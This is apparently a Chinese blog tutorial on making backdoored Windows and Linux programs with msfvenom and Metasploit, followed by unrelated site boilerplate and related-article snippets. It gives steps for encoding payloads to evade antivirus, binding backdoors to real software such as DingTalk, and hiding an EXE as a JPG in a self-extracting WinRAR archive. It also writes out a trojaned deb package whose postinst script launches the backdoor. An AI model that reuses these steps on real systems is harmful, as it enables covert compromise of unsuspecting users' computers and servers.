网络安全:制作 windows 和 linux 客户端恶意软件进行渗透

2023-11-17

  1. 实战-制作 Windows 恶意软件获取公司财务电脑 shell
  2. 实战- WinRAR 捆绑恶意程序并自动上线 MSF
  3. 实战-制作 Linux 恶意软件获取公司服务器 shell
  4. 实战-制作恶意 deb 软件包来触发后门

1.制作 Windows 恶意软件获取 shell

msfvenom 是 msfpayload,msfencode 的结合体,可利用 msfvenom 生成木马程序,并在目标机上执行,在本地监听上线

在这里插入图片描述

生成西瓜影音.exe 后门程序
使用一个编码器

在这里插入图片描述

使用两个编码器
在这里插入图片描述

参数说明
-a 指定架构如 x86 x64。 x86 代表 32 位, x64 代表 64 位。 32 位软件可以在 64 位系统上运行。所以我们生成 32 位的后门,这样在 32 位和 64 位系统中都可以使用。
–platform 指定平台,这里选择 windows,通过 --l platforms 可以查看所有支持的平台
-p 设置攻击载荷,我们使用 windows/meterpreter/reverse_tcp,可以通过-l payloads 查看所有攻击载荷
LHOST 目标主机执行程序后连接我们 Kali 的地址
LPORT 目标主机执行程序后连接我们 Kali 的端口
-b 去掉坏字符,坏字符会影响 payload 正常执行。
扩展:\x00 代表 16 进制的“00”组成的字符串。通过 ASCII 码换成能识别的就是:“00” -“00000000” - NUL。由于"00000000"是不可见字符,所以代码中没用。如图

在这里插入图片描述-e 指定编码器,也就是所谓的免杀,x86/shikata_ga_nai 是 msf 自带的编码器,可以通过 -lencoders 查看所有编码器
-i 指定 payload 有效载荷编码迭代次数。 指定编码加密次数,为了让杀毒软件,更难查出源代码
-f 指定生成格式,可以是 raw,exe,elf,jar,c 语言的,python 的,java 的……,用 -lformats 查看所有支持的格式
-o 指定文件名称和导出位置。 指定到网站根目录/var/www/html,方便在肉机上下载后门程序

在 MSF 上启动 handler 开始监听后门程序
在这里插入图片描述

在这里插入图片描述

打开 win7 访问 Kali 搭建的 Web 服务下载执行文件

在这里插入图片描述

使用 virustotal 检测下生成后门的免杀能力,VirusTotal.com 是一个免费的病毒,蠕虫,木马和各种恶意软件分析服务,可以针对可疑文件和网址进行快速检测,最初由 Hispasec 维护。它与传统杀毒软件的不同之处是它通过多种杀毒引擎扫描文件。使用多种反病毒引擎可以令用户们通过各杀毒引擎的侦测结果,判断上传的文件是否为恶意软件。
打开:https://www.virustotal.com/

在这里插入图片描述

双击运行 西瓜影音 1.exe 程序
在 MSF 终端查看建立的 session
Shell 中输入 ipconfig 查看 win7 主机的 IP 地址

在这里插入图片描述
将会话保存到后台,方便以后使用
查看拿到会话后可以执行哪些命令

在这里插入图片描述

在这里插入图片描述

由于命令太多,不一一截图,大家可以自己去体验下每个命令的使用方法

模拟黑客给真正的快播软件加上后门
其实给任何软件都可以绑定后门,大家可以使用任何软件
先查看主程序会调用哪些附加的小程序,然后把 payload 后门和这些小程序绑定到一起。当然也可以直接加到主程序上,但是加主程序上,有时报错
这里我们用钉钉做一下演示
上传.exe文件到kali

在这里插入图片描述

对目标文件注入payload后门程序
在这里插入图片描述
使用生成的程序替换原来的程序
在虚拟机上下载我们替换好的文件
在这里插入图片描述

将文件夹制作成压缩包,上传至kali,然后在win7靶机中下载解压运行
在这里插入图片描述

在这里插入图片描述

回到kali加载攻击模块
在这里插入图片描述
解压

在这里插入图片描述

在这里插入图片描述

运行
在这里插入图片描述
在 Kali 上查看会话已经建立了,说明后门运行成功了

在这里插入图片描述

开启下屏幕共享

在这里插入图片描述

在这里插入图片描述

2.实战-利用自解压自动运行并上线 MSF

生成伪装恶意程序的封面图标
需要安装 rar 压缩工具
WinRAR 官网:http://www.winrar.com.cn/
下载安装即可不需要特殊配置

生成后门程序

在这里插入图片描述

准备一张图片
在这里插入图片描述

图片生成 ico 图标用于恶意程序的封面图标:http://www.ico51.cn/
注:图片尺寸选最大的,也可以找一下其它的 ico 图标生成网站。
在这里插入图片描述

转换后会自动下载
在这里插入图片描述

捆绑恶意程序和图片并设置自动运行
选中 dongman.exe 和 dongman.jpg 添加到压缩文件

勾选:创建自解压格式压缩文件
在这里插入图片描述

设置自解压选项
在这里插入图片描述

解压路径:C:\Windows\Temp
在这里插入图片描述

设置解压后运行
在这里插入图片描述

设置模式为全部隐藏

在这里插入图片描述

更新方式
多次解压可能会出现文件已经存在的情况,如果文件存在会询问用户。
建议选择覆盖所有文件或跳过已存在的文件。
覆盖:缺点是如果 exe 程序已经运行那么覆盖会失败。
跳过:如果 exe 文件的参数有修改跳过后则运行的还是旧版本。
建议:每次制作不要用相同的名字。

在这里插入图片描述

添加刚才生成的 ico 图标。

在这里插入图片描述

生成后的自解压文件
在这里插入图片描述

使用 Unicode 字符修改文件名后缀
在这里插入图片描述

最终效果,文件有 ico 图标伪装图片的缩略图,文件名后缀.jpg 来伪装文件类型。
注:exe.不可以去掉

在这里插入图片描述

我们上传做好的图片到kali的/var/www/html目录下
然后再目标win7主机上下载
在kali中打开msf指定模块,在目标主机上点击我们做好的图片,如果是在主机上运行要记得先关闭杀毒软件

在这里插入图片描述

看到这里的你们是否也打开了我发的某张图片呢

我们打开资源管理器可以看到dongman.exe可疑进程,这时我们结束进程

在这里插入图片描述
防御成功

在这里插入图片描述

3.实战-制作 Linux 恶意软件获取 shell

使用 msfvenom 生成 linux 可执行文件
参数和生成 Windows 差不多
在这里插入图片描述

–platform 指定 linux
-f 指定 elf 即 linux 操作系统的可执行文件类型
-b 去掉坏字符

加载我们的攻击模块
在这里插入图片描述

打开一台centos7虚拟机,下载我们制作好的后门,添加执行权限,执行后门程序
在这里插入图片描述

回到kali发现我们已经拿到了shell

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

4.实战-制作恶意 deb 软件包来触发后门

制作恶意软件包使用–download-only 方式下载软件包不进行安装
注:freesweep

在这里插入图片描述

将软件包移动到 root 目录

在这里插入图片描述

解压软件包到 free 目录

在这里插入图片描述

生成恶意代码到软件包源文件中

在这里插入图片描述

生成软件包时无论是 payload 的和软件包信息都需要选择能够在目标操作系统上执行的。
创建软件包信息目录

在这里插入图片描述
创建软件包的信息文件
tee /root/free/DEBIAN/control << ‘EOF’
Package: freesweep
Version: 1.0.1-1
Section: Games and Amusement
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints given by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and in most text-based terminals currently in use.
EOF

在这里插入图片描述

创建 deb 软件包,安装后脚本文件,来加载后门

tee /root/free/DEBIAN/postinst << ‘EOF’
#!/bin/bash
sudo chmod 2755 /usr/games/freesweep_sources
sudo /usr/games/freesweep_sources &
EOF

sudo /usr/games/freesweep_sources 是我们要执行的恶意代码
& 是将命令放到后台运行

给脚本文件添加执行权限
构建新的 deb 安装包

在这里插入图片描述

在msf中打开指定的模块进行监听
在这里插入图片描述

在kali中执行我们做好的软件包
在这里插入图片描述

成功拿到权限
在这里插入图片描述

kali一开 全世界都是我的

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

网络安全:制作 windows 和 linux 客户端恶意软件进行渗透 的相关文章

  • 网络安全从入门到精通(超详细)学习路线

    首先看一下学网络安全有什么好处 1 可以学习计算机方面的知识 在正式学习网络安全之前是一定要学习计算机基础知识的 只要把网络安全认真的学透了 那么计算机基础知识是没有任何问题的 操作系统 网络架构 网站容器 数据库 前端后端等等 可以说不想
  • 适用于任何公司的网络安全架构

    1 第一等级 基础级 优势 可防范基本有针对性的攻击 使攻击者难以在网络上推进 将生产环境与企业环境进行基本隔离 劣势 默认的企业网络应被视为潜在受损 普通员工的工作站以及管理员的工作站可能受到潜在威胁 因为它们在生产网络中具有基本和管理员
  • 网络空间安全女生就业,怎么学?

    我实验室的学长们基本都是以红队和复现为主 如果学校好点可能还有更多的选择 如果想在这个方向深入下去 推荐流程是先打两年CTF 把大概的技术方向摸一摸 大一的话 如果学校还不错 那就优先建议打好基础 包括C语言 Python一类 建议把CTF
  • 软件开发和网络安全哪个更好找工作?

    为什么今年应届毕业生找工作这么难 有时间去看看张雪峰今年为什么这么火就明白了 这么多年人才供给和需求错配的问题 在经济下行的今年 集中爆发 供给端 大学生越来越多 需求端 低端工作大家不愿去 高端岗位又太少 很多基础行业 比如机械 土木 所
  • SpiderFlow爬虫平台 前台RCE漏洞复现(CVE-2024-0195)

    0x01 产品简介 SpiderFlow是新一代爬虫平台 以图形化方式定义爬虫流程 以流程图的方式定义爬虫 不写代码即可完成爬虫 是一个高度灵活可配置的爬虫平台 0x02 漏洞概述 SpiderFlow爬虫平台src main java o
  • 掌握内网渗透之道,成为实战高手,看《内网渗透实战攻略》就够了

    文末送书 文末送书 今天推荐一本网络安全领域优质书籍 内网渗透实战攻略 文章目录 前言 如何阅读本书 目录 文末送书 前言 当今 网络系统面临着越来越严峻的安全挑战 在众多的安全挑战中 一种有组织 有特定目标 长时间持续的新型网络攻击日益猖
  • 【CTF必看】从零开始的CTF学习路线(超详细),让你从小白进阶成大神!

    最近很多朋友在后台私信我 问应该怎么入门CTF 个人认为入门CTF之前大家应该先了解到底 什么是CTF 而你 学CTF的目的又到底是什么 其次便是最好具备相应的编程能力 若是完全不具备这些能力极有可能直接被劝退 毕竟比赛的时候动不动写个脚本
  • 信号浪涌保护器的原理和行业应用方案

    信号浪涌保护器 Surge Protective Device 简称SPD 是一种用于限制信号线路中瞬态过电压和分泄浪涌电流的防雷装置 主要用于保护各类信号线路及设备的防雷安全 信号浪涌保护器的原理是利用气体放电管 压敏电阻 齐纳二极管等非
  • 5个步骤,教你瞬间明白线程和线程安全

    记得今年3月份刚来杭州面试的时候 有一家公司的技术总监问了我这样一个问题 你来说说有哪些线程安全的类 我心里一想 这我早都背好了 稀里哗啦说了一大堆 他又接着问 那你再来说说什么是线程安全 然后我就GG了 说真的 我们整天说线程安全 但是对
  • SRC漏洞挖掘经验+技巧篇

    一 漏洞挖掘的前期 信息收集 虽然是前期 但是却是我认为最重要的一部分 很多人挖洞的时候说不知道如何入手 其实挖洞就是信息收集 常规owasp top 10 逻辑漏洞 重要的可能就是思路猥琐一点 这些漏洞的测试方法本身不是特别复杂 一般混迹
  • Android开发中常见安全问题和解决方案

    前言 开发APP时经常有问到 APP的安全怎么保障 应用程序被PJ了怎么办 手机被人捡去了怎么办 特别在号称 安全第一 风控牛逼 的银行系统内 移动产品安全性仍被持有怀疑态度 那我们来总结下APP安全的方向和具体知识 1 应用程序安全 2
  • 【网络安全】Facebook代码执行实现命令执行、敏感信息泄露

    部分网站开设编码练习 若安全配置不当 则代码执行将升级为操作系统命令注入 导致敏感信息泄露 本文仅分享命令执行相关知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 未经许可 不可转载 文章目录 信息泄露 扩大危害 信息
  • 网络安全(黑客)自学启蒙

    一 什么是网络安全 网络安全是一种综合性的概念 涵盖了保护计算机系统 网络基础设施和数据免受未经授权的访问 攻击 损害或盗窃的一系列措施和技术 经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 作
  • 网络安全基础知识面试题库

    1 基于路由器的攻击手段 1 1 源IP地址欺骗式攻击 入侵者从外部传输一个伪装成来自内部主机的数据包 数据包的IP是 内网的合法IP 对策 丢弃所有来自路由器外端口 却使用内部源地址的数据包 1 2 源路由攻击 入侵者让数据包循着一个不可
  • 【无标题】

    大家都知道该赛项的规程和样题向来都是模棱两可 从来不说具体的内容 导致选手在备赛时没有头绪 不知道该怎么训练 到了赛时发现题目和备赛的时候完全不一样 那么本文将以往年信息安全管理与评估赛项经验来解读今年2023年国赛的规程 帮助选手们指明方
  • 【安全】原型链污染 - Hackit2018

    目录 准备工作 解题 代码审计 Payload 准备工作 将这道题所需依赖模块都安装好后 运行一下 然后可以试着访问一下 报错是因为里面没内容而已 不影响 准备工作就做好了 解题 代码审计 const express require exp
  • 【安全】简单解析统一身份认证:介绍、原理和实现方法

    深入解析统一身份认证 介绍 原理和实现方法 导语 统一身份认证是什么 统一身份认证的原理 统一身份认证的实现 结语 导语 随着互联网的发展和各种在线服务的普及 用户在不同的应用和平台上需要进行多次身份验证 为了简化用户的登录和减少重复操作
  • 【安全-SSH】SSH安全设置

    今天发现自己的公有云服务器被攻击了 在这里插入图片描述 https img blog csdnimg cn direct cafdca04646f4b8b838400ec79ac282f png 然后查看了登录日志 如上图 ls sh va
  • 【安全】网络安全态势感知

    文章目录 一 态势感知简介 1 概念 2 形象举例 3 应具备的能力 二 为什么要态势感知 为什么网络安全态势感知很重要 三 态势感知系统的功能 四 如何评估态势感知的建设结果 五 什么是态势感知的三个层级 四 业界的态势感知产品 1 安全
  • 网络安全行业热门认证证书合集

    网络安全认证证书 就和学历一样是敲门砖 拿到了可以用不到 但不能没有 技术大牛可以没有证书 但普通人不能没有 1 初级入门 就像学历在职场上展示一个人的基本素养一样 网络安全认证证书可以展示一个人在网络安全领域具备的基本知识和技能 它为初学

随机推荐

  • IAR Embedded Workbench安装

    1 开发环境安装包 链接 https pan baidu com s 1Eatz6vyuniWRcAHd OMWcA 2 安装步骤
  • JS做图片滑动

    在界面中做一个关于图片左右滑动的效果 循环切换 可从最后一张右滑到第一张 从第一张左滑到最后一张 设置两个按钮 a href lt a a href gt a 图片 img js代码 获取id 把图片放入一个数组 设定初始函数 图片显示为数
  • 深度学习之人脸检测实践-现有框架实现 opencv Face++

    人脸检测通常是人脸识别等复杂任务的第一步操作 目前主流的人脸检测算法 https zhuanlan zhihu com p 24816781 这里主要记录一些常用的算法实践 目前只有OpenCV提供的Haar级联检测和调用Face 的人脸检
  • sudo apt-get update 出现InRelease问题

    sudo apt get update 出现InRelease问题 ubuntu ubuntu sudo apt get update sudo ubuntu 的密码 命中 1 http repo zabbix com zabbix 3 2
  • 树莓派4b风扇安装方法_树莓派安装手记

    女王节前夕做活动 卖树莓派的淘宝店家做活动 又在盆友的鼓励下剁手买了一个派 245元 有一个3代B型的派 一根带插头的充电线 一个需要自己组装的透明外壳 散热片 小风扇 就没了 是的 没有屏幕 我这里的条件也不太乐观 一台没有网线接口的超薄
  • 【操作系统】Linux Kernel中memcpy的汇编实现 详解(包括必要基础概念等)

    memcpy汇编实现 由于这篇博客是从我的各种笔记上搬的 我不知道自己为什么看了mmcpy汇编实现 也许单纯就是因为好玩 在arch x86 boot Copy S中 由Linus在1992年写的一段代码 GLOBAL memcpy pus
  • brew install mysql

    Mac安装MySQL Brew 以及修改默认密码 折腾了一大圈之后 得知需要安装MacOS的包管理器 HomeBrew 百度搜索macos安装homebrew 进入第一个CSDN大佬文章开始撸 安装HomeBrew教程 跟着教程把brew安
  • 连续随机变量的概率分布(正态分布)

    2019独角兽企业重金招聘Python工程师标准 gt gt gt 概率密度与分布函数 当用函数f x 来表示连续型随机变量时 我们将f x 称为概率密度函数 或者密度函数 想要求随机变量的概率 可以用 分布函数F x 来表示 F x 为图
  • 【JavaScript速成之路】一文带你初识JavaScript

    个人主页 小杨 的csdn博客 系列专栏 JavaScript速成之路 希望大家多多支持 一起进步呀 文章目录 前言 1 JavaScript 1 1 JavaScript概述 1 2 JavaScript历史 1 3 JavaScript
  • History API 使用指北

    https yeaseonzhang github io 2017 03 03 History API E4 BD BF E7 94 A8 E6 8C 87 E5 8C 97 more HTML5 History API 基本上是为了SPA
  • vue.config.js配置解析

    const path require path module exports publicPath publicPath process env NODE ENV production production sub path outputD
  • mybatis动态sql中的trim标签的使用

    trim标记是一个格式化的标记 可以完成set或者是where标记的功能 如下代码 trim标记是一个格式化的标记 可以完成set或者是where标记的功能 如下代码 1 select from user
  • java jvm监控实现_JVM及Java监控原理与实践

    简介 主要是介绍一下对运行Java程序的一些跟踪 以及对JVM内存等方面进行运维的一些方法 反解析class文件的工具使用 一般使用jd gui工具进行反编译class文件 有些jd gui无法反编译的class 可以使用luyten工具进
  • 关于video标签的巨坑

    事情是这样的 请求第一页的资源的时候 第一个位置是个视频 现在视频的src是写在video的source中的 第一个位置 但是切换到下一页的时候 下一页的数据的第一个位置也是视频 但是页面上显示的还是之前的 打开调试工具看 可以发现sour
  • Qt :非window子窗体的透明度设置

    问题的由来 心血来潮 想利用QTimer 配合 setWindowOpacity 方法来实现一个窗体淡入的效果 实验代码 粗糙的实验代码 void Widget on pushButton clicked QTimer timerOpaci
  • 3DMAX怎么把模型分开

    一 3dmax怎么把模型分开 1 怎样将一个合并过得物体分解成数个小物体呢 前提是经过合并过得 2 如果是成组的物体 只需点击工具栏 组 成组 3 如果是附加合并的物体 点击组的话 不会出现其他的命令 这时 要在修改面板分离 选中物体 右键
  • 空中旋球计算机控制系统,自动乒乓球发球机设计及其控制系统的研究

    摘要 为了使练习者能更好地学习乒乓球技术以达到健身和训练的目的 本文针对乒乓球发球的特点 从总体上设计了一种新型的乒乓球发球机 自动乒乓球发球机 本文综述了国内外乒乓球发球机的现状 对已有发球机的机械结构进行分析 根据所需实现的功能 提出了
  • IDEA使用教程最全汇总(持续更新)

    1 IDEA实用设置小技巧 2 IDEA常用快捷键 3 IDEA关联数据库 前言 本文记录IDEA实用的使用教程 以作记录 一 IDEA实用设置小技巧 1 IDEA去掉代码黄色下划线 在IDEA中根据设置的不同 有些代码页 当代码重复比较多
  • 【RabbitMQ分析】01 SimpleMessageListenerContainer原理分析

    往期推荐 sharding sphere 01 SQL路由 Nacos源码分析 02 获取配置流程 Java并发编程 03 MESI 内存屏障 Spring源码 11 Spring AOP之编程式事务 编程开发 01 日志框架 概述 Sim
  • 网络安全:制作 windows 和 linux 客户端恶意软件进行渗透

    实战 制作 Windows 恶意软件获取公司财务电脑 shell 实战 WinRAR 捆绑恶意程序并自动上线 MSF 实战 制作 Linux 恶意软件获取公司服务器 shell 实战 制作恶意 deb 软件包来触发后门 1 制作 Windo